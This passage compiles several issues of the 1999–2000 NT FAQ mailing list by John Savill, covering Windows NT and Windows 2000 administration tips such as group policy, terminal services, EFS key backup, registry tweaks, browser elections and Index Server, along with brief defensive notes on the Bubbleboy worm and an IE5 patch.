The NT Frequently Asked Questions List Created by John Savill
NT FAQ List delivery provided by ED-COM, http://www.ed-com.com
To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com with the word unsubscribe in the body
Problems with subscription? mailto:awoodrick@ed-com.com
=======================================================================


From: John Savill [john@savilltech.com]
Sent: 20 July 1999 10:01
To: NTFAQ Mailing List
Subject: NT FAQ, 20 July 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

I'm toying with the idea of running a one day introduction on Windows 2000 towards the end of the year as quite a few people have asked for such a day. The basic content would be

- What's new in 2000
- How does the Active Directory work
- How can I prepare now
- What are Group Polices (and other Security related content)
- Terminal Services in 2000

and anything else people would like to see. The idea is it would run in London and would only cost the amount to run, so location hire, lunch and slide printouts. If you would be interested let me know and I will see about organising this.

The NT FAQ now has a brand new discussion area using some great new software, http://www.ntfaq.com/forum.

Service Pack 6 beta is about to be released.

Standard items:

The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the Windows FAQ Forum,
http://www.ntfaq.com/forum

New additions last week:

Not that many last week as I've been busy with the new forum software.

Q. How can I apply a group policy to a security group?
Q. How can I remote control another terminal server session in Windows 2000?
Q. What user environment extensions does the Windows 2000 terminal server component add?
Q. The tab key does not select the right hand pane in a IE5 help search.
Q. How can I add a printer to the send to context option?

-----------------------------------------------------------
Q. How can I apply a group policy to a security group?

A. Its not possible to apply a group policy to a security group however what you can do is to filter a group policy by changing the permissions on the Group Policy so that only certain users/groups have read and apply privileges.

1, Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
2, Right click on the container (OU or domain) that has the Group Policy Object whose permissions you wish to change and select Properties
3, Select the 'Group Policy' tab
4, Select the GPO from the list and click Properties
5, Select the Security tab
6, Modify the permissions so that only the required users have the read and apply privileges and Administrators who need to modify the GPO have read and write
7, Click OK to the dialog
8, Click Close the containers properties
9, Now only the selected users will run the GPO

--------------------------------------------------------------------------------
Q. How can I remote control another terminal server session in Windows 2000?

A. Users and Administrators may be familiar with the software which allows an Administrator to take control of a users desktop in order to, for example, install software or fix a problem. The Citrix Metaframe add-on for 4.0 TSE enabled Administrators to take control or view users sessions without the need for third party software.

The new Windows 2000 terminal server component now allows session shadowing without the need for the MetaFrame add-on, but now its called 'remote control'.

By default Administrators have the ability to shadow other users sessions providing the user agrees to have their session controlled/viewed. By default the ability to remote control a users session is defined on the user object on the ‘Remote Control’ tab and the default is to enable remote control providing the users gives permission.

Its possible to override these user settings by editing the configuration of the RDP connection using the ‘Terminal Services Configuration’ MMC snap-in, yes, as with everything else in Windows 2000, all of the Terminal Server tools are MMC snap-ins (but more on them later).

Under the connections branch, right click on the ‘RDP-Tcp’ connection and select properties. Select the ‘Remote Control’ tab and by default it will say to use the users settings however selecting on of the other options allows you to set the remote control to whatever your wishes.

In order to remote control a session you must be logged on as a terminal server session, you can’t remote control from the console (MetaFrame allows you to do this).

Once you have logged in as an Administrator to remote control a session just:

1, Start the Terminal Services Manager
2, Right click on the remote users session and select ‘Remote Control’
3, You will be asked for a key sequence which will allow you to stop controlling a session and return to their own terminal server session
4, The user to be controlled is asked if they agree and if they click yes then you have control of their session. Their session does not display in a window, rather your session “switches” to theirs.
5, To end remote control press the key sequence you defined

--------------------------------------------------------------------------------
Q. What user environment extensions does the Windows 2000 terminal server component add?

A. A new built-in group has been added in 2000 called ‘Terminal Services Users’ which works in a similar way to the ‘Interactive Users Group’ and when a user logs on via Terminal Services they are part of this groups.

The Terminal Services Users group SID can then be applied to files, folders, anything with an ACL and allow only people logged on via Terminal Services access. You could also test for this group membership during login script etc to perform different actions.

On top of the ‘Remote Control’ tab for users, three extra tabs are added. As shown in figure 3, ‘Terminal Services Profile’ allows an alternative profile and local path to be specified when connecting via terminal server.

The ‘Environment’ tab allows you to specify a program to automatically run when you login via Terminal Services and options to connect to client drives and printers.

Finally the ‘Sessions’ tab allows times to be set before active and idle sessions are disconnected and how long after a session is disconnect before it is totally closed.

--------------------------------------------------------------------------------
Q. The tab key does not select the right hand pane in a IE5 help search.

A. This is a known problem, press F6 to toggle between left and right panes instead.

--------------------------------------------------------------------------------
Q. How can I add a printer to the send to context option?

A. To add a printer to the send to context option perform the following:

Start Explorer
Move to your SendTo folder of your profile, e.g. %systemroot%\Profiles\<user>\SendTo
Open the printers folder (Start - Settings - Printers)
Right click on the printer and drag to the SendTo directory and select 'Create shortcut here'
Rename the shortcut to a shorter name by pressing F2
You will now be able to right click on a document and send to the printer, cool!

--------------------------------------------------------------------------------

Till next week, take care.

John


From: John Savill [john@savilltech.com] Sent: 20 November 1999 16:49 To: NTFAQ Mailing List Subject: NT FAQ, 22 November 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: I want to start a library of drivers for hardware and software programs. If you work for a company who makes NT hardware or software please let me know contacts so I can be updated when new drivers and software are released (example for sound cards etc) by email, john@ntfaq.com. Windows 2000 build 2183, Release Candidate 3 released, looks good. New Products: Access NTFS from Windows 95/98 and MS-DOS NTFSDOS Professional Edition, the newest addition to the NTFSDOS product family, introduces full read/write access to NTFS drives from within MSDOS. With NTFSDOS Professional, you can run MS-DOS programs and commands on NTFS drives just as you do on regular FAT drives. NTFSDOS Professional also functions as a recovery tool for unbootable NT installations by allowing you to delete problematic drivers, edit configuration files such as BOOT.INI, or replace corrupted or missing system files. The software runs on DOS, but uses the actual file system drivers that are part of the Windows NT 4.0 or Windows 2000 installation, ensuring that compatibility problems are non-existent. A read-only version is available at http://www.sysinternals.com/ntfspro.htm and the read/write version costs $149. NTFS for Win98 introduces full read/write access to NTFS drives from within Windows 95/98. If you use one of the growing number of dual-boot systems, this product allows you to easily share data between Windows 9x/NT/2000. NTFS for Win98 also eases the migration to Windows 2000. It takes a unique approach by allowing the operating system to use the NTFS drivers from your existing WindowsNT/2000 installation, providing complete NTFS compatibility. A read-only version is available at http://www.sysinternals.com/ntfs98.htm and the read/write version costs $49. New additions last week: Q. What is the bubbleboy virus? Q. How can I backup my local Encrypted File System recovery key? Q. How can I restore my local Encrypted File System recovery key? Q. How do I enable TAPI 2.1 support? Q. I'm receiving Event ID 3013. Q. I don't get sound on DOS games under NT. Q. How do I add the Dial Up Networking to the Start Menu? Q. How do I add the Printers Settings applet to the Start Menu? -------------------------------------------------- Q. What is the bubbleboy virus? A. Bubbleboy is not just another virus, its the start of a whole new strain of virus. Up till now, to receive a virus from an email you have to actually open an attachment. Bubbleboy changes this and actually infects by just opening the email or previewing in Outlook Express. Bubbleboy requires Internet Explorer 5 and the Windows Scripting Host (which is built into Windows 98 and Windows 2000 and is an optional add-on for Windows NT 4.0) and only affects English and Spanish installations. In MS Outlook, this worm requires that you "open" the email. It will not run if using "Preview Pane". In MS Outlook Express, the worm is activated if "Preview Pane" is used. Setting your security level to High in Internet Explorer 5.0 will stop this virus from running. Microsoft have a patch available from http://www.microsoft.com/security/Bulletins/ms99-032.asp. Bubble boy is actually fairly harmless, its just changes the registered user and organization and mails itself to every contact in the email address book of MS Outlook. The fear is someone will now create other versions will may delete files etc just by previewing a message! The actual message looks like: From: Subject: BubbleBoy is back! Message Body: The BubbleBoy incident, pictures and sounds http://www.towns.com/dorms/tom/bblboy.htm -------------------------------------------------------------------------------- Q. How can I backup my local Encrypted File System recovery key? A. When a machine is in a domain the domains EFS recovery agents is used to decrypt files for which the user has lost their private key. In a workgroup or in a 4.0 based domain the recovery agent is the local Administrator so its vital to backup the Administrators private key. To do this perform the following: 1, Logon to the computer as the local Administrator account 2, From the Start menu select Run 3, Enter the name 'secpol.msc' 4, Expand the 'Public Key Policies' branch and select 'Encrypted Data Recovery Agents' leaf 5, A certificate for Administrator with the role of 'File Recovery' will be displayed 6, Right click on the certificate and select 'Export' from the 'All Tasks' context menu 7, The certificate export wizard will start. Click Next 8, You have the option to also export the private key, select Yes. Click Next 9, Make sure 'Enable strong protection' is selected and click Next (you also have the option of removing the private key after it is backed up) 10, Enter a password for the exported key. Click Next 11, Enter the name for the exported file. Click Next 12, Click Finish 13, Click OK when the export is complete If you choose to remove the private key after export you should now restore the computer A file will now have been created in the target location containing the certificate. Make sure you keep it safe. Its only about 2KB. -------------------------------------------------------------------------------- Q. How can I restore my local Encrypted File System recovery key? A. If you backed up the local EFS recovery key to restore perform the following: 1, Logon to the computer as the local Administrator account 2, Move to the directory containing the recovery key (it has a .pfx extension) 3, Right click on the file and select 'Install PFX' from the context menu 4, The Certificate import wizard will start, click Next 5, Click Next to confirm the file and folder 6, Enter the password used and click Next 7, Select 'Place all certificates in the following store' and click Browse 8, Select 'Personal' and click OK 9, Click Next and then select Finish 10 Click OK to the confirmation box For other methods see KB article Q242296 -------------------------------------------------------------------------------- Q. How do I enable TAPI 2.1 support? A. Service Pack 4 for Windows NT 4.0 included an updated version of TAPI for which the files are automatically installed during the installation of SP4. To enable the telephony server perform the following: 1, Log on to the server as an administrator. 2, Create or configure a user account with administrator privileges via User Manager. This will be the user account in which the telephony service process (TAPISRV) will run. 3, Enter the following command at a command prompt (Start - Run - CMD): tcmsetup.exe /s domain\loginID password where the domain, loginID, and password refer to the user account configured above. 4, After executing this command, you should receive a message stating that the server was set up correctly. 5, Shut down and restart the server. Once installed and enabled on the server enable on the clients as follows: 1, Log on to the client computer as an administrator. 2, Enter the following command at a command prompt: tcmsetup /c RemoteServerName where RemoteServerName is the telephony server's computer name. -------------------------------------------------------------------------------- Q. I'm receiving Event ID 3013. A. Event ID 3013 is message: "The redirector has timed out to " and usually means the server is one of the following: Either busy and cannot respond before the rdr timeout The network could be busy Bottleneck in the network To resolve this problem its possible to modify the timeout so as to increase the redirector timeout. To modify perform the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters 3, From the Edit menu select New - DWORD value 4, Enter a name of SESSTIMEOUT and press Enter 5, Double click the new value and set in the range of 10 - 65535 seconds (45 seconds is the default). Click OK 6, Close the registry editor 7, Reboot the machine -------------------------------------------------------------------------------- Q. I don't get sound on DOS games under NT. A. A new product has been released which gives sound support under NT for DOS applications called SoundFX NT. A free demo version can be downloaded and more information can be found at http://www.softsystems.demon.co.uk/page3.html. -------------------------------------------------------------------------------- Q. How do I add the Dial Up Networking to the Start Menu? A. Create a New folder under the start menu you wish to have it on (administrator, All users or your specific profile), for example 'c:\winnt\Profiles\savillj\Start Menu' Name the New folder: Dial Up Net.{992CffA0-F557-101A-88EC-00DD010CCC48} Complete with the period, brackets and dashes. Once entered it will automatically be renamed to 'Dial Up Net' and unlike the Settings Dial Up Networking it will be cascading meaning all dial up connections will be shown as sub-objects. If you have a problem, try pressing F5 to refresh the screen, or log off and on again. -------------------------------------------------------------------------------- Q. How do I add the Printers Settings applet to the Start Menu? A. Create a New folder under the start menu you wish to have it on (administrator, All users or your specific profile), for example 'c:\winnt\Profiles\savillj\Start Menu' Name the New folder: Printers.{2227A280-3AEA-1069-A2DE-08002B30309D} Complete with the period, brackets and dashes. Once entered it will automatically be renamed to 'Printers' and unlike the Settings Printers it will be cascading meaning all printers will be shown as sub-objects. If you have a problem, try pressing F5 to refresh the screen, or log off and on again. -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, HAVE FUN! John


From: John Savill [john@savilltech.com] Sent: 24 October 1999 18:51 To: NTFAQ Mailing List Subject: NT FAQ, 25 October 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Build 2151 of Windows 2000 released to core beta testers. This is NOT RC3. The NT FAQ moved to a new server on Friday due to its increased bandwidth and resource usage. The main index. tm page now gets over 250,000 impressions a month with the whole site doing around 4,000,000 impressions a month! This weekly mail letter goes out to nearly 30,000. Thanks to all of you for making this site a success. I'd like to arrange a chat with you all at some point on the new chat server (http://209.246.146.226/ntfaq/) so keep an eye out on the announcements discussion area. I'd just like to know what improvements, changes you would like to see. In general you can post any suggestions to the discussion area. I've moved the standard items (my book, code to link to the search) to the bottom of the mail as per your requests. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. Does the new Microsoft IntelliPoint software 3.0 software install on NT/Windows 2000? Q. Does the new Microsoft IntelliType Pro software install on NT/Windows 2000? Q. I'm unable to install Outlook 98, IE 5.0, error about log file command line. Q. Where can I get the patch for the IE 5.0 DHTML problem? Q. How can I enable my web site to be accessible as ntfaq.com instead of www.ntfaq.com? Q. When does Windows 2000 need rebooting? --------------------------------------------- Q. Does the new Microsoft IntelliPoint software 3.0 software install on NT/Windows 2000? A. The new Microsoft mice use IntelliPoint 3.0 software which runs under Windows NT with Service Pack 3 installed. The software is not currently supported under Windows 2000 however you can install with the following command: C:\> :\setup\setup setup win2000 e.g. d:\setup\setup setup win2000 I would expect to see a Windows 2000 version of the IntelliPoint software shortly. You cannot use the USB connection in Windows NT 4.0 but it works fine in Windows 2000. B.T.W. The new Microsoft IntelliMouse Explorer is very cool :-) -------------------------------------------------------------------------------- Q. Does the new Microsoft IntelliType Pro software install on NT/Windows 2000? A. The new Microsoft keyboards with the IE extra buttons use IntelliType software which runs under Windows NT with Service pack 3 installed and Windows 2000 however not all of the buttons work in Windows 2000 (such as the volume keys etc.) You cannot use the USB connection in Windows NT 4.0 but it works fine in Windows 2000. As a side note if you are using Windows 2000 and the keyboard in the USB hub you may need to enable legacy USB support in the BIOS to allow it to "see" a USB keyboard during bootup. -------------------------------------------------------------------------------- Q. I'm unable to install Outlook 98, IE 5.0, error about log file command line. A. If when you try and install IE 5.0, Outlook you get error: "The log file command line option (/G) must have a valid filename as an argument" This may be caused by the fact you have long file names disabled. To fix perform the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 3, Double click Win31FileSystem 4, Set to 0 5, Click OK 6, Restart the computer After reboot the install should work OK. -------------------------------------------------------------------------------- Q. Where can I get the patch for the IE 5.0 DHTML problem? A. A problem exists with IE 5.0 which causes a potential security vulnerability due to the download Dynamic HTML (DHTML) behavior. A new feature of DHTML in IE 5.0 allows web page authors to download files for use in client-side scripts. By design, a Web site should be able to download only files that reside in its domain; this prevents client-side code from exposing files on the your computer or local intranet to the Web site. However, a server-side redirect can be used to bypass this restriction. This vulnerability could allow a malicious Web site operator to potentially read (but not modify or erase) files on your computer or on other computers on your local intranet. See http://www.microsoft.com/security/bulletins/ms99-040.asp and http://support.microsoft.com/support/kb/articles/q242/5/42.asp for more information on this. A fix is available from http://www.microsoft.com/msdownload/iebuild/dlbhav/en/dlbhav.htm and once downloaded a file, q243638.exe will exist. Double click on this file and click Yes to install. You will then need to reboot your computer. After the first reboot my computer used PROGMAN.EXE as its shell! Another reboot and it was fine. -------------------------------------------------------------------------------- Q. How can I enable my web site to be accessible as ntfaq.com instead of www.ntfaq.com? A. We are all used to entering www. for a web site, such as www.serverfaq.com, however www is just a normal DNS host record and if you want your site to be accessible as just , e.g. yahoo.com just create a blank host record. In Windows 2000 to create a blank host record for the domain perform the following: 1, Start the DNS MMC snap-in (Start - Programs - Administrative Tools - DNS) 2, Expand the server - forward lookup zones - DNS domain 3, Right click on the domain and select 'New Host' 4, Leave the name blank and just enter the IP address (check the create associated pointer record box) 5, Click Add Host A new host record will be listed of the form: (same as parent folder) Host -------------------------------------------------------------------------------- Q. When does Windows 2000 need rebooting? A. Windows 2000 has reduced the number of functions which require a reboot from about 50 in NT 4.0 to 7 in Windows 2000. Items such as: -Changing an IP address -Changing the mouse -Adding a new page file or changing its size -Adding plug and play devices -Adding new disks all required reboots. Now the only items that require a reboot are: -Changing ISA adapter configuration -Changing the system font (the USER and Graphics Device Interface have to be recreated) -Adding and removing communication ports (due to possible jumper changes) -Changing the default system locale -Changing the computers name (but not domain) -Installing service packs or hotfixes -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. ------------------------ Till next week, take care. John


From: John Savill [john@savilltech.com] Sent: 26 January 2000 20:17 To: NTFAQ Mailing List Subject: NT FAQ, 26 January 2000 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: I've updated WinInfo to version 2.3 and now fully supports information on Windows 2000 including knowing Windows 2000 Server, Advanced Server and DataCenter. http://www.savilltech.com/wininfo.html. I'm experimenting with a new utility called Leelou which enables online presentations, the first one is at http://www.ntfaq.com/ntfaq/viewlets/networkplace_viewlet.html and I'm going to start using them where appropriate. Microsoft announced that the Windows(r) 2000 operating system will be the first platform with 128-bit encryption to be shipped internationally under the federal regulations on encryption exports announced Jan. 14, 2000. Microsoft worked closely with U.S. government regulators to obtain the necessary approvals to ship Windows 2000 with strong encryption to worldwide customers, irrespective of industry or application. Previously, international customers with increased security needs had to buy additional software and add on strong encryption. International customers will now be able to benefit from built-in 128-bit encryption in Microsoft(r) Windows 2000 when it ships. This eliminates delays and restrictions associated with individual export licenses. "Windows 2000 will be the most secure operating system Microsoft has ever shipped, and we are excited to be able to further extend this security for our UK customers via 128-bit encryption," said Nick McGrath, Windows 2000 Product Manager at Microsoft. New additions last week: Q. Is there an alternative to the linkd utility supplied with the Windows 2000 Resource Kit? Q. How can I convert a NT 4.0 .pol file to a Windows 2000 group policy object? Q. How can a printer be listed in the Active Directory? Q. How do I add a network place in Windows 2000? Q. How can I check for dead shortcuts on my system? Q. Is IP version 6 available for NT/Windows 2000/95/98? ------------------------------------------------------------------------- Q. Is there an alternative to the linkd utility supplied with the Windows 2000 Resource Kit? A. Linkd is used to create directory junctions which are explained in 'What are directory junctions?'. Originally a utility to create directory junctions was supplied in the core product but has now been moved to the resource kit. System Internals have written a clone of linkd.exe called junction which can be downloaded from http://www.sysinternals.com/misc.htm#junction and has some additional functions. -------------------------------------------------------------------------------- Q. How can I convert a NT 4.0 .pol file to a Windows 2000 group policy object? A. The Windows 2000 Resource Kit has the GPOLMIG.EXE utility which can convert a NT 4.0 system policy .pol file to a Windows 2000 group policy object, this is a VERY useful tool! For help just enter C:\> gpolmig /? The example syntax to migrate a system policy for the user policy would be: C:\> gpolmig c:\temp\ntconfig.pol /migrate user user1 {00000000-0000-0000-0000-000000000000}User -------------------------------------------------------------------------------- Q. How can a printer be listed in the Active Directory? A. When you share a printer you have the option to list it in the Active Directory which will enable users to search for it and find printers nearest to their location. To share a printer in the Active Directory perform the following: Right click on the printer you wish to list in the Active Directory and select Properties Select the 'Sharing' tab Check the 'List in the Directory' box You can also select the General tab and enter details of location for the printer Click Apply then OK -------------------------------------------------------------------------------- Q. How do I add a network place in Windows 2000? A. Windows 2000 adds support for Network places that work in a similar method to mapped drives except they are not mapped as drive letters and are instead accessed via the 'My Network Places' branch of the Desktop. To add a My Network Place just perform the following: Start Explorer Select My Network Places Double click on the 'Add Network Place' wizard You will be asked for the location to point to, for example \\titanic\c$ for the C drive of machine titanic. Click Next You will then be asked for a description for the new network place, e.g. "C drive on Titanic", click Finish The new network place will now be listed The places are actually stored under your user profile in the folder c:\documents and settings\\NetHood as folder shortcuts. Click below to view an example network place creation. http://www.ntfaq.com/ntfaq/viewlets/networkplace_viewlet.html -------------------------------------------------------------------------------- Q. How can I check for dead shortcuts on my system? A. The Windows 2000 resource kit supplies Chklnks.exe which will check all your systems shortcuts and if the target of the shortcut is not found it will give the option to delete one or all of the dead shortcuts. To use just start the Chklnks.exe application, click Next and select the dead shortcuts to remove. The utility also runs on NT 4 boxes with no obvious problems. -------------------------------------------------------------------------------- Q. Is IP version 6 available for NT/Windows 2000/95/98? A. IP version 6 was first discussed in 'What is IPv6?' Microsoft has released an Alpha release of IP version 6 (this is Alpha so not even Beta state so don't use on any live systems) which can be downloaded from http://research.microsoft.com/msripv6/. It installs on Windows NT and Windows 2000 installations but not Windows 95 or 98. The stack does not replace the IP version 4 stack but sits beside it allowing normal IP 4 connectivity to continue unaffected. You can actually download the source and not just the images if you are interested. -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: 26 May 1999 11:06
To: NTFAQ Mailing List
Subject: NT FAQ, 26 May 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

The FAQ has now moved to NT based hosting at Data Return and hopefully you have seen much improved performance.

The main search now uses Index Server but the old ntsearch.cgi is still supported for those using it on their web sites.

Apologies for not adding much last week but I was having to recreate discussion areas, rewrite the search cgi for NT etc., boring stuff, you don't want to know :-)

I plan to expand the site to include a solutions database to the FAQ in the next couple of weeks which allow makers of software to add their products dynamically. Any other ideas are welcome.

I would like to let more people know about the FAQ as I now have the bandwidth to support more users so please let as many people know about it as possible by linking from your home/corporate sites and telling people via e-mail.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. What DO those smileys mean :-)?
Q. What DO those acronyms mean in mail messages <NIFOC> <HHOJ>?
Q. How can I modify TCP retransmission timeout?
Q. How can I check the browse masters for a domain?
Q. How can I stop a remote master browser?
Q. How can I force a browser election?
Q. How do you edit the list of local and toll numbers for a dialing location?
Q. How do I enable Index Server in Windows 2000?
Q. How do I create a new Index Server catalog?
Q. I receive an Index Server error 'Query Is Too Expensive', why?

------------------------------------------------------------------------

Q. What DO those smileys mean :-)?

A. In newsgroups and other online media you will often see smileys which are used to portray various moods of the author. Below are the meanings of them:

:-|| Angry
:-) Basic happy
:-( Basic sad
(:-) Bald
:-)> Bearded
%+( Beaten up
R^) Broken glasses
:^) Broken nose
|:-) Bushy eyebrows
X-) Cross-eyed
:-e Disappointed
:-)' Drooling
{:V Duck
>:-) Evil grin
:'''-( Floods of tears
8) Frog
8:) Gorilla
:-') Gas a cold
:-| Hmmmph!
:-C Jaw hitting the floor
.-) Keeping an eye out
:-# Kiss
:+) Large nose
:-D Laughing out loud
:-} Leering
(-: Left-handed
:-9 Licking lips
:- | Monkey
(-) Needs haircut
:8) Pig
=:-) Punk
O:-) Saint
:-@ Screaming
:-O Shocked
:-V Shouting
|-) Sleeping
:-p Tongue-in-cheek
:-&t Tongue-tied
:-/ Undecided
:-[ Vampire
:-)) Very happy
:-(( Very sad
:-(#) Wears teeth braces
;-) Winking
|-O Yawning

--------------------------------------------------------------------------------

Q. What DO those acronyms mean in mail messages <NIFOC> <HHOJ>?

A. In newsgroups and other online media you will often see acronyms which can be puzzling, lets remove the mystery:

AFAIK As Far As I Know 			NRN No Reply Necessary
BRB Be Right Back 			OBTW Oh, By The Way
BTDT Been There Done That 		OMG Oh My God
BTW By The Way 				OTOH On The Other Hand
GAL Get A Life 				OTT Over The Top
HHOJ Ha Ha, Only Joking 		PITA Pain In The Arse
MOTOS Member Of The Opposite Sex 	POD Piece Of Data
IMHO In My Humble Opinion 		ROFL Rolls On Floor Laughing
IWBNI It Would Be Nice If 		RTFM Read The Flipping Manual
JAM Just A Minute 			RUOK Are You OK
NIFOC Nude In Front Of Computer 	TIA Thanks In Advance

--------------------------------------------------------------------------------

Q. How can I modify TCP retransmission timeout?

A. Service Pack 5 adds a new registry entry, InitialRtt, which allows the retransmission time to be modified. The range is 0 - 65535 milliseconds and can be set as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
3, From the Edit menu select New - DWORD value
4, Enter a name of InitialRtt and press Enter
5, Double click the new value and set to the number of milliseconds for the timeout, e.g. 5000 for 5 seconds (the old default was 3 seconds). Click OK
6, Close the registry editor
7, Restart the machine for the change to take effect

This parameter controls the initial retransmission timeout used by TCP on each new connection. It applies to the connection request (SYN) and to the first data segment(s) sent on each connection.

Care should be used when adjusting this value. Setting it to large values will dramatically increase the amount of time that it takes for a TCP connection attempt to fail, if the target IP address does not exist.

For instance, the default value is 3,000, or 3 seconds. By default, a connection request is retried 2 times. The total time-out is (3+6+12) seconds, or 21 seconds.

If this registry value is set to 6,000 (6 seconds), the total timeout will be (6+12+24) seconds, or 42 seconds. During this time, an application can appear to stop responding (hang).

--------------------------------------------------------------------------------

Q. How can I check the browse masters for a domain?

A. The resource kit has a utility BROWSTAT.EXE which allows status of the browse service to be ascertained. To check browse masters for a domain use the following command:

C:\> browstat status <domain>

To check statistics for a single server use the command

C:\> browstat stats \\<server>

--------------------------------------------------------------------------------

Q. How can I stop a remote master browser?

A. The resource kit utility BROWSTAT can be used to remotely stop a browse master with the following command:

C:\> BROWSTAT TICKLE <transport> <domain> | \\<server name>

Where <transport> is the Windows NT transport device name, and <domain> is the domain in which the master browser is located, and <server name> is the computer name of the master browser.

To check which transport use the command:

C:\> net config rdr
Workstation active on NetbiosSmb (000000000000) NetBT_Tcpip_{C2F....

The transport device is indicated by '<network service>_<NIC type>', where <network service> is the session-layer network service, and <NIC type> is the type of network interface card on your computer. The session-layer network services are NetBT for NetBIOS over TCP/IP, NwlnkNb for IPX, or Nbf for NetBEUI, e.g. NetBT_Tcpip.

C:\> browstat tickle NetBT_Tcpip_{C2F8C130-F2AF-11D2-B748-DAEDF5F58140} \\titanic

--------------------------------------------------------------------------------

Q. How can I force a browser election?

A. The resource kit utility BROWSTAT can be used to force a browser election:

C:\> BROWSTAT ELECT <transport> <domain> | \\<server name>

Where <transport> is the Windows NT transport device name, and <domain> is the domain in which the master browser is located, and <server name> is the computer name of the master browser.

To check which transport use the command:

C:\> net config rdr
Workstation active on NetbiosSmb (000000000000) NetBT_Tcpip_{C2F....

The transport device is indicated by '<network service>_<NIC type>', where <network service> is the session-layer network service, and <NIC type> is the type of network interface card on your computer. The session-layer network services are NetBT for NetBIOS over TCP/IP, NwlnkNb for IPX, or Nbf for NetBEUI, e.g. NetBT_Tcpip.

C:\> browstat elect NetBT_Tcpip_{C2F8C130-F2AF-11D2-B748-DAEDF5F58140} savilltech

--------------------------------------------------------------------------------

Q. How do you edit the list of local and toll numbers for a dialing location?

A. If you have Microsoft Personal Fax for Windows you can edit local numbers for a dialing location using the "Dialing" tab of the "Fax" control panel applet.

--------------------------------------------------------------------------------

Q. How do I enable Index Server in Windows 2000?

A. Index Server is installed by default if you install IIS on Windows 2000. To enable perform the following:

1, Start the Computer Management MMC snap-in on the IIS server (Start - Programs - Administrative Tools - Computer Management)
2, Expand the Server Applications and Services branch
3, Right click on 'Indexing Service' and select Start
4, Click Yes to the dialog asking if it should be started whenever the computer is started

That's all, you can now configure Index Server.

By default web sites are enabled for Index Server to change right click on the site in the Internet Services Manager MMC snap-in, select Properties, select the 'Home Directory' and check/uncheck 'Index this resource'.

--------------------------------------------------------------------------------

Q. How do I create a new Index Server catalog?

A. Index Server stores its information in catalog's and you can create multiple catalogs to store different groups of information such as web sites, directories etc.

1, Start the Computer Management MMC snap-in on the IIS server (Start - Programs - Administrative Tools - Computer Management)
2, Expand the Server Applications and Services branch
3, Right click on 'Indexing Service' and select New - Catalog
4, Enter a name for the Catalog and a location
5, Click OK

You will need to stop and restart the Index Server process for the catalog to take effect
Once added you must configure the directories that need to be indexed:

Again in the Computer Management MMC, expand the catalog added, right click on Directories and select New - Directory
Enter the directory and select 'Yes' to Index. Click OK
The change will take effect straight away

--------------------------------------------------------------------------------

Q. I receive an Index Server error 'Query Is Too Expensive', why?

A. If the content index is out of date, and you are executing queries that must be enumerated, you will get the above error message. To fix this problem wait until the index is up-to-date (it can be monitored through the Computer Management MMC snap-in in 2000) and perform the following steps:

1, Edit the .idq file for the query and add the line
CiForceUseCi=FALSE
2, Start the registry editor (regedit.exe)
